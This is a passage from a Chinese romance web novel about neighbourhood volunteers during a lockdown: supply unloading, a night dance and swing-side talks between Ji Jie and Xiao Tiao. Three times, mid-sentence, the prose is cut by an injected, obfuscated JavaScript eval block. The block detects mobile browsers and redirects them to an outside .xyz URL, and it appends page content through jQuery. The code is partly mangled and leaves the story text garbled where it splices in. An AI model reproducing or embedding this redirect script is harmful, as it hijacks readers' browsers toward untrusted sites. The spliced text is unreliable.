三千多个箱子虽已全部卸载完毕,各个弄的传送者却还在奔波往返于爷爷山和老爹山之间,各个楼的楼长也在排队接孙子。纸箱像一些巨大的积木,摞成战壕,城堡,或一切类似群山的形象。三街坊今夜灯火通明。 季节最后检查一遍计算器,调出今晚累加的公式记录,每一板车拉走的数字都赫然在目,一长串加起来正是三街坊所有的户数。季节毫无意识地随手截图归档,又毫无意识地发给小条留底,并注明某年某月某日三街坊每户一箱,不多不少,特此留念。职业习惯,一气呵成。 小条已经重新登上货车,准备开始卸塑料袋,新的三千多份传递再次开启。季节将计算器清零,马克、花泽类和诸位壮汉也回到车厢边,人人严阵以待,卷土重来。 以卸纸箱的成功经验为基石,卸塑料袋的行动顺利开展,车内外配合得当,心心相印。季节再度施展本领,飞速查数,迅猛沉默,计算器摁到冒火星子。 塑料袋尺寸较大,质地厚实,装得满满当当,袋口扎紧。隔着半透明袋子看去,隐约可见火腿肠、面条和大白菜等物。季节查数空档,心下暗喜,此物甚好。 塑料袋码在板车上,不涉及榫卯结构的吻合问题,因此每车都堆了一座小山。满载而去,空车而返,几辆板车各自运转而又彼此呼应,车轮痕迹如同行星轨道般优美错落。 卸到1500袋,季节报了数,小条照例宣布中场休息。卸货总是迅速的,而配货是繁琐的,负责分配份数的团队需要一点时间。 季节随机加入了一个里弄的分配,几乎没有任何停顿就成了老练的选手,似乎在这方面很有天赋。塑料袋和方才的纸箱一样,严格按照几乘几的方阵排布在地上,以便里弄负责人迅速统计收发盘数目。 箱子可以摞高,而塑料袋则分布为平面。大门之内,凡是空地都铺满一份一份的物资,蓝色的白色的塑料袋挨在一起,连成一片,如同海洋上翻出波浪。 从大门口之后,一直到小区中段,狭窄的马路上,树木丛生的人行道上,楼前的空地上,无不堆满了这样的方阵。半个三街坊被纸箱的群山和塑料袋的海浪覆盖。 爷爷山到爹爹山之间,无数志愿者往返。每人都想方设法从爷爷山多拿一些,一口气运到各个爹山。后来季节说:“传吧!”人们不知不觉站成了一列纵队,一个传一个,省去了奔波之苦。 景文搬得满头大汗,也赞成地自言自语:“传吧!”季节突然觉得恩怨一笔勾销,也开始后悔那天当面辱骂了他,至少应该背后骂的。 某个楼的楼长现身,主动来接洽物资,缓解志愿者团队的压力。戴眼镜的大姐食指在空中轻划,迅速点出四乘六。二十四份物资一消失,方阵空出一片,季节便用新来的物资一一填补空缺,以保持下一次点数的顺畅。 这一头,政府物资组忙得热火朝天,那一头,常规晚班的志愿者依然接收着快递和外卖,无穷无尽地循环着消毒和配送的动作。 然而政府物资运输项目过于宏大,征用了全部板车,派送快递和外卖的志愿者只得徒手拎着包裹去送货。或是找来某大爷的自行车,二八大杠,车后座和车座都捆上包裹,车把手两侧再挂上几串,然后由派送的推着走街串巷,画面风格奇异古早。 短暂中场过后,不少楼的物资已经送走,地面略微空出,小条挥了挥手,开始下一轮卸货。季节尽职尽责地计数,从头到尾精准无误,不声不响,了然于心,前瞻眼光,及时预报,颇具大将风采。 最后一袋物资装上板车,被壮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718044|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汉拖走。季节低头在手机上进行一系列归档操作,手法绚烂而纯熟。小条几人跳出卡车,混入了装车的壮汉之间,大家爆发出惬意的欢呼声,一时间季节还以为突然解封了。 正想回到大门里继续搬货,小条轻轻捏住她的小蓝衣,拉着袖子把她牵了回来:“搬得够多了,休息一下。” 季节转过身来,他也刚好踏上一步。她的眼前是他的肩膀,近在咫尺。抬起头来,那双幽深黑亮的眼睛正向下看着她。目光交汇的一刻,彼此都移开了视线。小条的手松开了。 卡车开走了,门卫重新拉上封带,货架和棚子业已归位,平行两行,一字排开。大门外寂寥沉默,仿佛一场盛大舞会散场之后。背后传来三街坊内热火朝天的喧嚣,被风吹来,经过货架的过滤,听起来好像变得遥远。 季节发现自己和小条竟然站在大门和封带之间。他们与外界如此相近,触手可及,分割仅在一条脆弱的带子。街对面的楼房灯光阑珊,已经沉睡,她踮着脚看向道路的两头,正在抽芽的树木遮蔽了视线。 “想不到我竟然出来了。”季节感到不可思议,“我竟然出来了,真想不到。”她的语气就像一个关押多年的犯人突然被释放了。 “出去看看吧。”他看着季节眺望的方向,“路上很静。” “我可以出去看吗?”季节受宠若惊,党员带头人小条竟要带头打破禁令。 小条愣了一下,有一瞬间他忘神地看着她,尽管那一秒转瞬而过。接着他拔腿往封条之外走去:“走,我带你出去看。” 季节跟着他跨出封条,骤然暴露在自由之中,心情微微悸动。夜色沉沉,不见月亮,路灯冷冷地照着街道。这是一条只属于两个人的街道。 “跳舞吗?”季节没头没脑地问了一句。 小条却自然而然地伸出手来。季节的手放在他的大手里,隔着蓝色手套感觉到温度。顺着他的引带,两人的手臂轻轻抬起来,像空中的飞桥。小条歪歪头,示意她转个圈。 季节却说:“你先转。” “……” 有那么一会儿,小条应该是后悔答应她跳舞。他无奈地说:“你够高吗?就让我转。” 季节一蹦三尺,手腕一转,就带得小条转了个圈。小条配合地倾斜着身体,勉勉强强从两只相连的手臂下转了过去。 季节笑了起来。他也有样学样,转了一下手腕。一股旋转的大力袭来,季节也转了个圈,脚尖点地,身影轻盈,小蓝衣下摆飘飞。 他的另一只手伸了过来,好像要拉住季节的另一只手。季节呆呆地看着他,进也不是,收也不是。 小条察觉到了自己那只不受控制的手。拳头握紧,手臂放了下去,他最终没有拉住季节。 季节往后退了一步,两人原本拉着的手也松开了。小条在看着她,但她忽然不敢看他的眼睛,只是望着他的下巴,匆匆说了一句:“我要去抬了。” 说完,季节就跑了。 全部物资分配到户以后,已经是晚上十点。志愿者收工,季节回到家里,洗战斗澡后用手搓洗衣服,错过了和狐朋狗友的游戏时间。手搓衣服竟然比扛大包更令人筋疲力尽,一天来到了终点,季节在备忘录上注明:明日上班时间找104借水管。 窗外下起了大雨,预言诚不我欺。在雨声中,季节回想起那支舞。她给小条发了一句:“咱们运气不错,搬完货才下雨。” 而小条回复:“下楼来一支雨中曲吗?舞蹈家小姐。” 11. 淡水暮色 季节戴着口罩跑下楼去,一步跨进雨幕之中。他打着一把深色的大伞,站在楼门外等她。卸下了防护服的盔甲之后,他穿着宽大的浅蓝色短袖和灰色长裤,看向季节时,他口罩上方的眼睛亮了一下。 季节来到他身边,雨伞向她倾斜过来。见他半个肩膀露在外面,季节伸出两只手将伞扶正,两人都隔着口罩微微一笑。 小条递上来一个纸兜:“给你带的。” “吃的吗?”季节顿时双眼放光,同时略感疑惑,心想自己挨饿的事都传到党员那边去了? “……”小条沉默了一会儿,“怎么就知道吃。” 季节尴尬地一笑,遮遮掩掩地说:“其实我也没有很饿,逗你玩呢,哈哈哈……” “洗衣机的排水管,试试看型号合不合适。”他把雨伞从左手换到右手,略微不自然地说,“如果需要,我可以帮你换。” “是排水管?”季节探头看了一眼,“你是不是把自己洗衣机管子卸下来让给我了?” “没那么无私哈。”他客气地说,“去物业拿的,解封以后还一根就行了。” “你撬门进去的?”季节十分兴奋,忍不住埋怨道,“也不带上我。” “你小脑袋瓜里,都在想啥,门卫有物业的钥匙的。”他顿了顿,又问,“所以,用不用我上去帮你?” 由于今晚下雨,阳台上又摆出两个垃圾桶接水,季节实在不想让他进屋。她小心翼翼地说:“要不,我先自己试试,不行的话再找你帮忙。我自己修过增压泵,清过窗外晾衣架,杀过蟑螂,换过灯泡,还是有一定能力的,你不用太担心啦。” “……”他忍了忍,哑然失笑道,“你住的都是什么地方,这么神奇?” “就老房子啊,你懂的,三街坊算是品质还不错的了。”季节以过来人的口吻,语重心长,良言相告。回忆过往历次租房史,她突然笑了起来。 小条温和地问:“笑什么?大晚上的别吓我啊。” 季节便向他描述,自己曾住过另一个街区的维方一村,此小区顾名思义,还真都是危房,蟑螂从家里爬到外面人行道上。有一次瓶子帮季节一起拎着东西回来,季节说刚才走过去的人好像当红小生某某,人称国民偶像,瓶子说滚,在维方一村么? 他也笑了起来。两人同撑一把伞立在雨中,几乎要挨在一起。雨声激荡于整座三街坊中,而笑声仅在伞下,只有他们两人听得见。 小条撑伞遮着季节,把她送上楼前台阶。他一手插在裤兜里,漫不经心地说:“真没东西吃了可以来我家蹭饭。” 季节感恩地说:“好的,一定来。” 回到家里,季节上网搜集了换水管的若干资料,大致将各个步骤和节点摸清,就放倒了洗衣机,撸起袖子大干特干。小条送来的水管直径适宜,尝试几次之后,竟成功更换。 季节蹲在地上,久久欣赏着崭新的、没有爆裂的新水管。在雨天能洗个好澡、睡个好觉,洗衣机正常运转,冰箱里有菜有肉,还有锅,原来这是多么幸福。 为检验成果,季节扔进去两件衣服进行测试,在旁边提心吊胆地看着,随时准备迎接第二次漏水。好在洗衣机运转顺畅,漩涡涌动,排水利落,此时已是夜里十二点。季节瘫倒在床上,想起了小条,就匍匐着取过手机,给他发了一条信息: “为表达我的感谢,特发送此微信,over。” 想不到他还没睡,几乎是秒回:“换好了?” “换好了,榫卯结构,很合适。”后面是一排大拇指。发完这句,季节再也抵挡不住疲惫和困倦,两眼一翻就睡了过去。手机砸在脸上,第二天醒来时还依然在脸上。 拿开手机,发现今日满屋都是阳光。季节先摁了电脑开机键,输入密码,再匆匆洗漱。吃上早饭,她才看到那边还发过来一句话:“那怎么感谢我,光送一句话嘛?” 可惜她一宿都没有回复,现在已经是上午九点五十了。 …… 所谓人逢喜事精神爽,拥有健全的洗衣机后,季节做底稿都心平气和,发送邮件时更是措辞得体而温良。群里的狐朋狗友纷纷恭喜季节解除危机,但老D也好言相劝,提醒她不要乐极生悲,注意家中其余管道线路的老化问题。 季节命他闭嘴,他却半遮半掩地表示自己也在当楼栋志愿者,为每一层楼梯喷洒消毒水。季节哟了一声,说:“我就知道,老D当年坐地铁,不停地落座再让座。”老凤说那就一直站着算了,干嘛还总坐?老盆则问他用什么装置为各楼层消杀,浇花的喷壶吗? 瓶子发出几张图片,六街坊昨晚也收到物资,内容和三街坊大致相似,但每个类别下的品牌不尽相同,老盆分析说这是因为目前仅能发放超市里的存货,有什么发什么。六街坊户数不算多,在志愿者的组织下,发放得较为迅速。三街坊的宏大和复杂,仿佛天然地构成舞台的布景,注定有故事在此发生。 老凤在楼道邻居的帮助下修好电脑,现已恢复办公,适逢要出报告,忙得不可开交。但他还是持之以恒地抽空将一些社会新闻转发到群里。医院和方舱不断地收纳病患,医护人员穿着防护服加班。出于防毒考量,这种衣服只能使用一次,吃饭或上厕所时脱下,则需再换上新的。于是,为节约装备,医护人员一整天都不吃饭喝水,将一件防护服从头穿到尾。 老凤连季节老家的新闻都搜来了。前些天老家还在下雪,医护人员穿着防护服在室外测核酸,高强度运转,连去厕所的时间也无。每人都穿着成人纸尿裤,液体流到裤脚,都冻成了冰。 读到这些报道时,季节往往鼻子发酸,热泪盈于睫。但很快她又会被其他纠纷事件激怒,义愤填膺地在屋子里来回踱步。就这样在感动和震怒之间反复,以至于晚上气得睡不着觉。 无论如何,傍晚五点的时间总是绮丽如霞,游离于世界之外。季节来到大门口当班时,晚班其他的成员也已经到场。大家一边穿戴小蓝衣和手套,一边闲聊着这几日的确诊情况。又有几座新的仓库和移动板房被征用为方舱,用以收容感染病毒但无需医疗抢救的病患。三街坊内部的小学校倒是并未被征用,尽管此前有过这种风声。 本杰明正和雨披姐探讨抗原自测的准确程度。目前核酸大概两天一测,无核酸的那天执行抗原自测。抗原是居委发的,放在每个楼的楼门口,住户自行错时下楼拿。当时是个周末的下午,季节临时出去当班,是楼下的女邻居帮她带上去的。 季节打了招呼,抄起喷壶,抽拉加压杆,将消毒水均匀喷洒在大包小裹上。只听本杰明在说:“我朋友他们住的小区,每天要求自测两遍抗原,看不懂……” 雨披姐啧啧称奇:“那不得捅出鼻血啊?” 季节忙着接待新来的快递,一边埋头记录一边说:“我反正每次都泪流满面。又怕捅得不标准,测不出来,又怕测出来,发现自己阳了,唉……” “我们志愿者队伍到现在还没有感染的,说明做得还可以。”背后传来悠悠的说话声。即使没有回头,季节也知道是他来了。 记完了这一批快递,又一丝不苟地消杀过后,季节终于转过身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718045|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,发现小条正看着她。他今天依旧戴着白色棒球帽和蓝色口罩,身后是满天的粉紫色云霞。那一刻,季节忽然希望和他一起逃出三街坊的围栏。如果他们并肩沿着公路向西走,公路的尽头就是江水,江水上是晚霞。 “看什么呢?”小条走到她身边,一手取过一辆板车,把货架上的包裹按远近大小装上车。季节慢了半拍,也开始打下手,突然灵机一动,开口套问道:“条总,你姓条吗?敢问大名是什么,我要送上锦旗,感谢昨晚的水管。” “我不姓条。”条总摇头哑然失笑,却丝毫不上钩,“我的名字要保密,就不告诉你。” 季节立刻说:“你都知道我的名字,我也要知道你的才公平!” “你自己群昵称改成了真名,实名制冲浪,不怪我。”他一本正经地看着季节。季节悻悻地撕下一块白纸,把板车上包裹的楼号一一写明,供他拿在手中当小抄。他看着货架上的记录单,自言自语地说:“不光不透露真名,我现在用的微信也是小号,等到解封那天就不用了。” 季节笔走龙蛇的右手停顿了。她负气地说:“那就漂流瓶联系吧。” “嗯。”小条赞同道,“漂流瓶联系。” 季节沉默着,低头看着记录单,满脸的冰霜都要垂下来了。小条偷偷看了她一眼,什么也没说,隔一秒钟又悄悄看了一眼。 小条拖着板车大步离去。季节站在原地,头顶阴云环绕,久久没有说话。本杰明低头看了一眼手机,突然如获至宝,向大家宣布明天又可以订慈善超市的蔬菜包了,还说这次供应比较充足,预计会来一大批。 众人满足地唉声叹气,雨披姐好心提醒季节盯牢楼栋群,随时报名选购。季节傻呆呆地点了点头,心思还飞在很远的地方。 整个晚上,她哐哐地干着活,自己找了一辆板车就出发送货去了,将小条晾在一旁。小条只得自动转换为登记消毒的角色。有一瞬间,他似乎想要叫她,却被她目不斜视地掠过,声音堵在嗓子眼没发出来。 等待出车的间隙,她故意不去看小条,只在本杰明和雨披姐之间流连,或是跟不认识的几个小姑娘谈论天气。后背总有种发毛的感觉,似乎谁的目光在盯着她。转头看时,小条却总是在对着大白纸打勾,或是托别人把派送中的号码拍下来发到群里。 季节冷笑了一声,几乎想去当面大声问他,你不是在群里吗,装什么神秘?难道是什么明星偶像不成,在三街坊么? 志愿者照例晚退,八点半左右才散场。季节用喷壶对着自己上下扫射,又像调酒师一样拿着壶反手往背后喷。小条在旁边低低笑了一声。 季节只做不闻,头也不回,大步流星,潇洒离去。 躺倒在床上,狐朋狗友正在会议中大呼小叫,让季节抓紧上线。季节有气无力地说自己今晚无法战斗,就退出了会议。家里的啤酒已经全部喝光,窗外树海之上的霓虹灯还在闪来闪去。 无酒抒怀,季节便点开了音乐台。一首陌生的提琴曲如轻烟般袅袅升起,高高低低,曲折摇曳,如同倾诉。这首歌叫做《淡水暮色》。 这时季节还并不知道淡水是地名,以为是和咸水相对。在曲声中,她先是看见水面上的晚霞,那晚霞就像小条身后的一样。接着,暮色将尽,模糊的色彩都消散了。想家的感觉像潮水一样涌上心头,尽管季节也说不清为什么。 在无以言说的心情里,她的眼泪终于纷纷扬扬地落了下来。 也许是哭得头脑发昏,季节拿起手机就给小条发了一句:没人和你漂流瓶联系,失联吧! 12. 秘密花园 发完这句,季节心有戚戚焉,万念俱灰,仰面躺着,在淡水暮色中缓缓下沉。或许一直以来小条根本对自己没有好感,又或许他早就有对象了,这段时间对她的照顾不过是出于党员对群众的责任…… 一旦复盘,就一发不可收拾,季节推导出完整逻辑链,认为从一开始就是自己对着小条高谈阔论,人家都不想回话。故而今天一得到机会,他就立刻委婉表明立场,告诫季节从解封起不必再联络。 季节又开始了第二轮的哭泣。由感情世界推及现实世界,想到自己在事务所中豪掷青春,却几多坎坷、一事无成,下周就要终结这份工作,更是悲从中来,难以自已。洒泪正酣时,忽然发现小条回复了: “漂流瓶也找不到我,略略略。” “……”季节气得几乎厥了过去。她怒回道:“那你一键删除好友吧。” 这句消息却没有成功发出去。绿色对话泡泡前,出现了一个红色的圆圈标志,令人触目惊心。季节感到血液都涌到了头上脸上,大脑嗡嗡作响。小条竟然把她拉黑了? 再定睛一看,原来那红色圆圈是重新发送的标志。是自己这边信号不好,导致消息发送失败。 季节点了一下红色圆圈,这回消息发送成功了。她松了一口气,终于确认对方暂未将自己加入黑名单。但随即她看到重发出去的话,才意识到自己说了什么,差点跳了起来。 她的脑海中只剩下一个念头,坏了,这下真要被删除了。 那边却并没有生气,反而终于察觉到季节情绪有恙:“你咋了?” 季节这一场大气,生得莫名其妙,自知没有立场。因而不敢任性妄为,以免一波三折,最后到底还是被删除。思来想去,只得闷闷不乐地说:“我想家了。”但闻乐曲声幽怨迂回,旋律仿佛夕阳下的影子,被拉得很长。季节又开始哭个不停,封控以来积压的苦闷、吃不上饭的恐惧、工作三年的怨恨,全都厚积薄发,化为眼泪。 小条问道:“能下楼吗?” 季节向镜中看了一眼,郁郁寡欢地走下楼去。 楼外夜空晴朗,一半人家都已熄灯,三街坊昏昏欲睡。仰观宇宙,竟能看见满天星星闪动。小条在楼下等她,递上一个牛皮纸袋:“怎么了,都饿哭了?” 季节接过来一看,里面装的是点心和果汁。谁家好小伙子会囤积甜食?老D他们哥几个连水果都很少吃。这甜点多半是用来招待女朋友的。想到此处,季节挺着端正的脖子,不卑不亢地说:“谢谢党组织对我们的关心,回头买新的还给你。” 小条却闲闲地问:“什么时候还?哪天?” 季节对他勾勾手指:“附耳过来。” 他不明所以,真的低下头来。两张蒙面的脸,彼此离得很近。季节对着他耳朵低声说:“季节是我的化名,我的真名也不告诉你。漂流瓶也不联系,解封就拜拜。” 低沉的笑声在季节耳边响了起来。他直起腰来,又笑了一会儿,才说:“你就为这个生气啊?” “哦。”季节推己及人,联想到那个素未谋面的女孩如果知道自己男友与异性调笑,一定心情不佳,于是立刻远离小条几步。小条直直地盯着她,盯到她不得不问:“看我干什么?” “没什么。”他看起来身心愉悦,脚步轻快,“走一圈吗?我不敢自己回去。” “……” 两人并肩走在三街坊的树下,季节心不在焉,抬腿就拐进了一条小路。待到回过神来,发现眼前是一片秘密花园,健身器械的轮廓在昏暗中模糊不清,周围的香樟树如同屏障,将房子和路灯远远隔绝在外。 “干嘛带我来这么黑的地方。”小条说着,自顾自地坐在秋千上。 季节犹豫了一下,说:“走吧。” 小条没有动身。他用一种轻不可闻的声音问道:“为什么想家了?该不会是想男朋友了吧。” “什么?”季节转头看向他,只疑心是自己听错了,他却不再说第二遍。季节只好如实答道:“我没谈过男朋友。” “我没谈过男朋友。”小条学着她的语调说道。 季节不悦地盯着他:“你把女朋友的点心拿出来做人情了吧?” “什么女朋友?”他奇怪地说道,“那是之前开会发的点心礼盒。”隔了一会儿,他低声说:“我没谈过女朋友。” 一瞬间,季节只觉得晚风迎面吹来,一身阴霾都散了。不知不觉,她也坐在另一张秋千上,若有所思地看着星空。再回头看小条,发现他一直注视着自己。两人视线相接,忽然都转开脸去,仰头笑了起来。 小条笑着笑着忽然戛然而止,严肃地看着树丛:“居委来巡逻了。” “是吗?”季节一惊,压低嗓音问道,“在哪呢?要不要躲起来?”由于声音过于压抑,听起来像嘶嘶的蛇语。 “逗你的。” “你说,我们这样跑出来是不是严重违规违纪?”季节眉头紧锁,猛地一拍大腿,“可是这样真的很爽啊!” 他放声笑了起来,浑厚澄澈的笑声让季节想起大提琴。她拿出手机,播放《淡水暮色》,对小条介绍这首歌多么催人泪下。小条却说大调的音乐不太容易伤感。季节轻轻荡着秋千,静静听着乐曲,无法言说心底的朦胧感受。 小条深沉地看着远处:“思乡曲。” 季节以为这首歌又名思乡曲,不禁佩服他的博闻强识:“这都知道啊?” “音乐封面上写的。”他对着季节手里的手机屏幕点了点头。 “……” 季节跳下秋千,从背后推了他一把:“走你!”可惜沉沉的没有推起来。他的脚不曾离地,倒是十分配合地说:“好高啊,我都恐高了。” 坐回到自己的秋千上,季节在凉风里甩动头发,两人有一搭没一搭地聊着。他说,这几天在忙一个并购项目,写财务尽调报告直至凌晨。季节感到惺惺相惜,就主动说起自己也跟过一个并购项目,不过她是做税务尽调的,碰到的目标公司各有千秋,出奇制胜。有的公司财务说,我知道应该申报某项税,但是我嫌太麻烦了,就没去…… 他出声地笑了起来。季节继续说,事务所的工作好像已经超越了很多人,每日出入高档大厦,满口英文术语,但她就是无法快乐。她实在受够了经理无休止的霸凌和批斗,以至于有一天她抬头看了经理一眼,就干呕了出来。 有一次,她一个白天就做了五十张PPT,尽管这份报告本身几乎没有意义。然后她照例被经理反复挑剔,用一个晚上改了五遍…… 又有一次,那是陆家嘴一个平静的雨天,没有喧嚣,没有质问,没有反复的修改,只有雨水滴落在屋顶和土地的声音。她做了八张底稿,不用想任何疲惫的事,只是专心地感受着数字的逻辑与结构之美,构思着清丽简洁的排版设计。 “工作吗,至少百分之五十的活都是没有意义的。理想是很容易磨损的。”小条慢慢听着,也慢慢说着,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718046|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过头来看着季节,“所以你是哪所学校毕业的?” “你猜。” 他毫不犹豫地说:“D大。” D大是南方最权威的高校,名号响亮,其学子一亮出身份,旁人无不敬仰。季节的眼睛都笑弯了:“对了。” “厉害,厉害。”小条抱拳恭维道。 “那你呢?”季节不等他答,就抢着说,“先别说!让我猜猜!” 小条果然就没有回答。季节想了一会儿,说:“D大?” “是。” “……”季节控诉道,“那你刚才不说?还假装自己是保安吗,条儿。” 小条伸手拍了拍她的头:“我是你学长。”一首乐曲已经播完,两人又荡了一会儿秋千,他低声问:“所以,你这份工作干得很不开心?” “不开心。”季节无奈地说,“我一直想采访你一下,你觉得工作了这些年,还能找到成就感吗?” “不能了。” “我觉得我被困住了。”季节轻轻荡着秋千,犹豫了一下,“其实我想转行去机构做舞蹈助教,带业余学员,或者广场舞也行。带他们练功、编舞,他们应该很开心吧?每支舞录一段视频,等他们将来再看,应该很怀念吧?”她已经做好了被他训诫的准备。 他却说:“录吧,录好了我看。” 如果眼睛能够录影,季节一定会把这一幕存档,日后反复重映这句话。她双手握住秋千绳索,脚尖点地,后退,蓄力,荡向前方,自言自语道,悟已往之不谏,知来者之可追。 “你很自由,也很有勇气。”小条略显低沉地说,“你做了我不敢的事,帅帅的。” 季节善解人意地说道:“你如果真的想当保安,也没什么不好啊。你可以少花一点,人不一定要拥有很多东西的。” 他笑了起来,轻轻问道:“那你现在快乐吗?” 季节含糊地说,还可以,白天出来干活挺开心的。 小条说:“然后夜里哭鼻子?” “……” 他从鼻腔里发出轻微的笑声,说:“没关系,你还年轻呢。不像我,再熬夜都要长白头发了。” “即使到了四十岁,五十岁,也没关系。”季节轻轻说道,“我觉得白头发就很酷啊,等我头发全白了,我就染成粉色,都不用漂了。” 两人相视而笑,小条说:“也对哦。” “对了,条总。”季节突然坐直身体,像发现了新大陆,“我就说么,你的名字怎么这么耳熟,这下我全想起来了!” “想起什么?”小条的眼神第一次迷惑了。 “你的名字,是从世界名著里来的,”季节煞有介事地说,“有典故呀!你不知道吗?” 小条紧张而期待地看着她。她说:“条子来了。” “?”小条愣愣地看着她,“这是什么世界名著?” “《悲惨世界》呀,”季节理所当然地说,“里面有这句。” “我不大记得了。”小条又挑了一下眉毛,“可能我们看的译本不同。” “有可能。”季节肯定了他的推测,“我看的是连环画版本。” “……” 这天晚上,他们在秘密花园中说了很多话。回家躺倒以后,季节还在久久回味。她点开手机,把自己的微信名字改成:我喜欢大调的舞曲。 改完以后,顺手点进小条的名片,发现他也改了名字。季节看着那名字,不出声地笑了。 13. 雨夜风云变幻 傍晚下起了阵雨,季节来到大门口时,小条已经站在991弄的货架前。其余各弄的志愿者也各就各位,登记,消毒,往来送货,货架前人影如织。橘粉色六层老楼被雨水打湿,颜色加深,就像宣纸上的颜料再叠加一笔颜料。在石青色天幕下,三街坊像一张湿润的胶片。 雨丝斜飞,触碰到货架的每一层,又向外弹开,仿佛透明的光线四散。世界缩小到一方天地,所有微型的景观都变大了。季节换好小蓝衣和蓝手套,悄然无声地走到他身后,猛地伸出一根手指戳了他左肩膀。他向左边转过头来时,季节躲到右边。他再转头看右边时,季节躲到左边,口中低声喝道:“拖车的条子!” 他回复暗号:“我喜欢大调的舞曲。” 喊出了对方的网名后,两人彼此点头致意,全身心投入工作。 有几袋外卖的小票摇摇欲坠,季节找来订书器重新订好,以免又要层层转发失物启示。她想起第一次当班的晚上也下着雨,橘黄色树叶随风飘零,像一封书信一样降落在货架上。那一晚留下的印象是潮湿、嘈杂而混乱,就像南方的雨季。 小条正在往每一层货架上喷消毒水,同时像教孩子一样和颜悦色地告诉季节:“我们先喷在货架上,包裹再放上去,这样底面就直接消毒了,只需要再喷其他几个面。” 季节说:“条子,有没有人跟你说过,你很像我初中时候的一个老师。” 小条说:“除了你,应该没人能跟我说哈。” “那个老师特别温润,特别宽宏,特别和善……”季节极力搜刮着所有美好的词汇,“而且还对我很好,很喜欢我。” “那是挺像的。”小条看着马路对面,目不斜视地说道。 心中忽然腾起别样的感觉,季节不知道该怎么接话。雨已经停了,恰好货架堆满,她装了满满一车,将小条留在门口,自己去送货了。记录单上有两列号码被圈出来,季节拍下来发在群里,配以文字:画圈的派送中。 不久,又有志愿者发照片到群里:打勾的正在派送中。 接着另一人紧随其后:线以上的派送中。 更有人头脑灵活,用戴手套的蓝手遮住尚未开始派送的部分:没遮住的正在派送中。 …… 随着业务技术臻于纯熟,现在“派送的”大多不需要再手握一张小纸条,板车上有哪些楼的货物,基本都在心里。季节边走边送,边送边留意板车上剩余的包裹都在哪些楼栋,以便一条线串完,不走回头路。由于码货顺序得当,也确实一气呵成,没有来回奔走。 刚开始拖车那几天,经常走到某处才发现是死胡同,或者地势升高、板车上不去台阶,只得原路返折,从另一侧绕进去。还有两条里弄隐藏较深,要从一个小口进去,而后别有洞天,类似桃花源。如今这些难点已不是问题,季节觉得自己经验丰富,如同企业中的资深会计,各种业务处理都得心应手,稳健老到。 每件包裹放在楼门口,再最后检查一眼号码,拍照留证。空车返回时,总是神清气爽,脚步轻盈,幻想着那些居民下楼拿到包裹时的期待和慰藉。 走回到大门口,只见小条哼着歌记录快递,全然不像在加班之余来干活的人,反而如同在度假村里踏春一般。 季节等他唱完一整首歌,才鼓掌赞叹,此曲只应天上有。他指了指自己头上的白色棒球帽:“你一直没看到我帽子上的字吗?” “太高了,看不到。”季节踮起脚来,伸长脖子去看。他弯下腰来,向她俯首。 帽子上写着:歌王。 季节哈哈笑起来,他哼了一声:“笑什么,不是吗?” 她说:“不是,我第一眼看成了欠王。你这买的盗版吧?” “谁说的,我朋友送我的,你这是嫉妒行为。” 季节刚要再说,眼见景文躁动地现身,满场巡视,听各弄汇报,拿起这个,扔下那个,十分冲动。恰好这时货架较为疏朗,没有新的快递员和外卖员上门,她转身悄悄对小条说:“咱们去别的地方站会儿吧!” 小条轻轻笑了:“没事,我不太介意这个。”说完,把帽檐拉下来遮住脸,立正缩脖站在一边:“看不见我。”欠王两个大字,光明正大地昭示天下。 季节豪爽地站到他前面:“我挡着你!” 那一头,景文还在对赶来拉货的驱车大爷说:“叔叔,最近吃得还好吧?政府物资收到了吧?” 花泽类队长自言自语道,他吃得怎么样不知道,反正我用火腿肠煮了面条,掉色有点严重啊,汤都是粉红色了。 季节哈地一声大笑起来,最终还是被小条拉走了。两人一路跑到某条小巷子里,发现路边停着一辆自行车,车筐里还有一把喷壶。季节背着手详细看了一会儿,说:“这好像是一个志愿者大哥送货用的。” 小条长腿一迈,跨坐在自行车上,拎起喷壶,掂了两下。季节真诚地建议道:“你可以骑这个在三街坊里绕场,一边向四周喷消毒水。” 他笑了出来,摇头说:“我不做这种猥琐的事。” 季节惋惜地说:“我要是会骑车,我就这么干。” “最近还饿吗?有没有再饿哭?”他调侃地看着季节,“这几天又组织订蔬菜包,两次,你订了没?” “没有,两次报名我都错过了,当时在忙着做底稿。”季节苦涩地回答道,“还好我能刷快闪外卖,网上抢菜是从来没抢到过。” “还忙着干活?”他拍了一下季节的头,“站好最后一班岗哦,够负责。” 季节长长地呼出一口气,说:“今天,是我lastday。” 小条又拍了一下她的头:“逃离不喜欢的地方,还不好?” 